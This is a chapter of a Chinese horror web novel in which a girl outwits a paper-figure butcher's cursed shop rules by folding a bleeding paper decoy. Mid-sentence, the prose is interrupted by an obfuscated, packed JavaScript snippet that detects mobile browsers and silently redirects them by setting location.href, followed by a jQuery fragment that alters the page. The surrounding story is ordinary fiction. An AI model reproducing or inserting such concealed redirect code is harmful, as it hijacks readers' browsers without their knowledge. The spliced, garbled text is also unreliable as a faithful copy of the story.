少女厉无渡站在那家诡异的肉铺前,心中警铃大作。
透过半开的门,她看到一排排血色的肉块整齐地摆放在柜台上,每一块都仿佛还残存着人类肢体的形状——有的能看出是手臂,有的是腿,有的则像是一截截被肢解的躯干。而案板后站着的屠夫,则是个身形壮硕的纸人,前胸干涸的血迹斑斑,浑身上下都透着不祥的气息。
厉无渡下意识地后退一步,可惜,已晚了。
肉铺门后的风铃忽然自行摇晃,发出一阵脆响,紧接着,纸人屠夫那双空洞的眼窝便缓缓地对准了她,阴恻恻地笑了。
“客人,进来吧。”它用一种扭曲而怪异的腔调说道,“今天现割的肉,绝对新鲜,买一块儿吧。”
话音落下,只见纸人屠夫忽然一刀劈向自己的左肩,竟硬生生割下一大片纸皮,而那块纸皮才一离体,竟缓缓地蠕动起来,变成了一块“血淋淋”的肉,端到了柜台上。
“客人,你瞧,多么新鲜的肉啊。”纸人屠夫“呵呵”地笑着,“这一刀,是给你准备的。”
厉无渡心中生寒,毫不犹豫地转身便走。可就在她跨出店门的瞬间,整个肉铺内竟传来一阵诡异的“嚼噬”声——像是无数张嘴在大快朵颐地咀嚼着什么。
她不敢回头,脚步疾快地穿梭在这座诡异纸人城的小巷中。
然而,她很快发现,自己无论如何绕路,都会重新回到这家肉铺门口,仿佛那扇门就像一个轮回的起点,等待着她再一次踏进去。
厉无渡立即意识到自己似乎陷入了什么怪圈,紧接着,她注意到了肉铺门上张贴的告示:
壹、在本店门口停留超过三次眨眼的时间,将被默认成为本店的客人,需接受了本店的待客之道。
贰、未买肉的客人不可离开本店。
叁、本店的肉保证新鲜,现割现卖。
这都是什么?店规?
可怎么看怎么像霸王条款啊!
厉无渡喉头一紧,知道自己恐怕是摊上麻烦了,如果想不出应对的法子,她就有可能会被困死在这里。
这可不行,她还得去更高层,甚至于争一争那去最高层接近天书的资格。
于是,厉无渡深吸一口气,转身踏入了店门。
“肉怎么卖?”她冷冷地说道。
纸人屠夫咧开了一个极其诡异的笑容:“客人果然识货。”
它粗壮的纸手一拍柜台,纸片翻飞间,一张染着血色的价目表缓缓展开。
“本店价格公道,童叟无欺:一两血换一两肉,十两肉换一两魂。”
厉无渡盯着那简短的价目表,心脏狠狠一缩。
这家店要的根本不是“肉”,而是等价的人命。
但厉无渡的预感在隐隐提醒她,最好不要轻易尝试触犯规则,否则很有可能发生什么不好的事。而按照规则,既然踏入了店门,就意味着必须买肉才能离开,可这“肉”如此诡异,她绝不可能沾染因果。
既然不能直接拒绝交易,那么唯一的办法,就是找到规则的漏洞。
于是厉无渡极力压制住眉间的凝重,不动声色地用手指轻轻敲了敲柜台,嗓音平静道:“既要买肉,那便要挑最好的,你可否让我先看看后厨?”
屠夫空洞的眼窝盯着她,似乎在琢磨她的意图。
不过下一秒,它便爽快地点了点头:“客人既然有心,那自然可以。”
说完,纸人屠夫缓缓转身,推开了后厨的门,做了个“请”的手势。
厉无渡面色不变,暗地里却提高了警惕,做好了随时可以防御和反击的准备,才踏进了后厨的门。
随后她便猛然绷紧了神经——
整个后厨内并无寻常的案板与炉火,而是堆满了散发着浓重血腥气的纸扎人偶。这些人偶或是破碎,或是残缺,有的甚至还摆出了痛苦挣扎的姿态。最诡异的是,它们的“伤口”处,竟渗出了鲜红的血液,血水顺着地板缓缓流淌,最终没入了一口黑漆漆的井中。
厉无渡压下恶心感,装作若无其事地绕着那些纸人走了一圈,余光瞥见柜台上放着一摞崭新的白纸,心头不禁微微一动。
纸人屠夫割下了自己的“肉”,充作“客人”必须购买的“商品”,这里又有这么多流血残缺的纸人,而通常来说,纸人都是被制造出来的,那么她是不是可以用新的纸做一个纸人,用“同类”来混淆规则?
打定了主意,厉无渡脸色平静,目光在柜台上的肉块上扫过,最后落在角落里一具尚未完全成形的纸人上。
她微微皱眉,语气里带着一丝不满:“掌柜的,你这肉……怎么连形都没长全?质量这么差,也能卖给客人?”
纸人屠夫盯着她,空洞的眼窝微微晃动,粗陋的嘴巴里传出像是纸张被揉皱的沙沙声:“客人,这肉虽未成形,但品质可不会差。”
“那你倒是证明给我看。”厉无渡冷淡道,双手抱胸,摆出一副高傲客人的模样。
纸人屠夫果然受激,立刻迈着沉重的步伐走向角落,伸手去拎那具未成形的纸人,准备当场展示“肉质”的优越性。
趁着它转身的瞬间,厉无渡眸光一凛,手掌微微一翻,迅速从柜台旁那一摞崭新的白纸里抽出几张,悄无声息地塞入袖中。
她的动作极快,袖摆遮掩下,一点异常都未露出。
等纸人屠夫拎着那具扭曲的纸人回头时,她已然恢复如常,像是什么都没发生过一样,双手抱胸站在原地,神色平静地看着它的“展示”。
只见纸人屠夫猛地一刀劈在未成形纸人的“肩膀”上,顿时,一大块纸皮脱落,竟在空中化作一片血淋淋的肉。
“瞧见了吗?”它得意地晃了晃刀,“我们的肉,最是新鲜不过。”
厉无渡盯着那块“肉”,眼神微不可察地闪了闪,但嘴上却只是冷淡地“嗯”了一声,语气漫不经心:“还算不错。”
纸人屠夫咧嘴一笑,露出一个诡异的弧度:“客人若满意,那便挑一块吧。”
厉无渡轻描淡写地扫视了一圈,干脆随手指了指屠夫手里那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15180249|158912||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
半片纸人:“就这个吧。”
屠夫微微一愣,没想到她会要这块先前还被嫌弃的肉。
但规则只强制了“买肉”,并没有强制客人挑哪块肉,所以理论上厉无渡要哪块都是她的自由。
纸人屠夫盯着她,似乎在权衡什么,最终咧开嘴角,高兴道:“客人好眼光。”
它拎着那半片未成形的纸人,带着厉无渡回到了前头的柜台前,抬手一拍柜台,顿时,一张泛黄的纸契浮现而出。
“客人,请付出等价之物。”它一边将纸人递向厉无渡,一边阴森笑道,“是十两血?还是一两魂?”
十两血,还是一两魂?
厉无渡当然哪个都不想付。
但表面上她依旧低眉敛目,似乎在权衡交易的代价,实则指尖在袖中翻飞。
先前在后厨偷来的白纸在她掌心快速折叠,形成了一个精巧的纸人。因为动作极快,所以袖摆微微晃动间便掩盖了这一切。
等到纸人成型,厉无渡指尖悄然一收,锋利的指甲掐入纸人的脖颈——
纸人的身体被生生扯裂,一道猩红的血线瞬间从破口渗出,像是被硬生生撕开的活物,鲜血汩汩而流。
她连忙抬起手,让袖中的血水滴落下来,正好落入纸人屠夫拿出的容器中,泛起一圈暗红色的涟漪。
纸人屠夫盯着那鲜血,露出一个满意的笑容:“客人出手大方,甚好。”
厉无渡垂眸,掌心仍紧握着那半残的纸人,暗暗松了口气。
她赌对了。
这些纸人是诡城里的一部分,受这里的规则支配,而她折出的纸人,本质上仍然是“同类”,能流血、能替代——只要她的动作足够自然,不被纸人屠夫察觉端倪,就能在规则中蒙混过关。
纸人屠夫挥手收起容器,将那半片“肉”递向厉无渡,示意厉无渡可以拿走。
“客人,交易完成。”它笑道,“欢迎下次光临。”
厉无渡接过那块“肉”,装作若无其事地看了一眼,随即轻轻一笑:“果然新鲜。”
她平静地将肉包裹好,转身迈步朝店门口走去。
门口的风铃轻轻晃动,但这次,没有任何异象再阻拦她离开这里。
直到厉无渡走出了店门,她才松了那口一直提在嗓子眼的气。
她回过头看了一眼,见那纸人屠夫仍站在柜台后,眼窝空洞,嘴角的笑容停留在刚才达成交易时那满意的一瞬间。
厉无渡眯起眼,低头看了看手里的纸人胚胎,心里不知为何,升起了一股隐隐的不安,但又找不到这不安可能应验的来源。
片刻后,她只能先收紧掌心的纸人碎片,默不作声地转回头,加快了离开的步伐。
然而,厉无渡并未察觉到,就在她左手食指上,不知何时竟多了一点极淡的血痕——正是刚才在折纸时,被锋利的白纸边缘划破的一道细小伤口。
而这道不经意间触犯的小小“印记”,恰好成为了这座城诡异规则污染她认知的第一个突破口。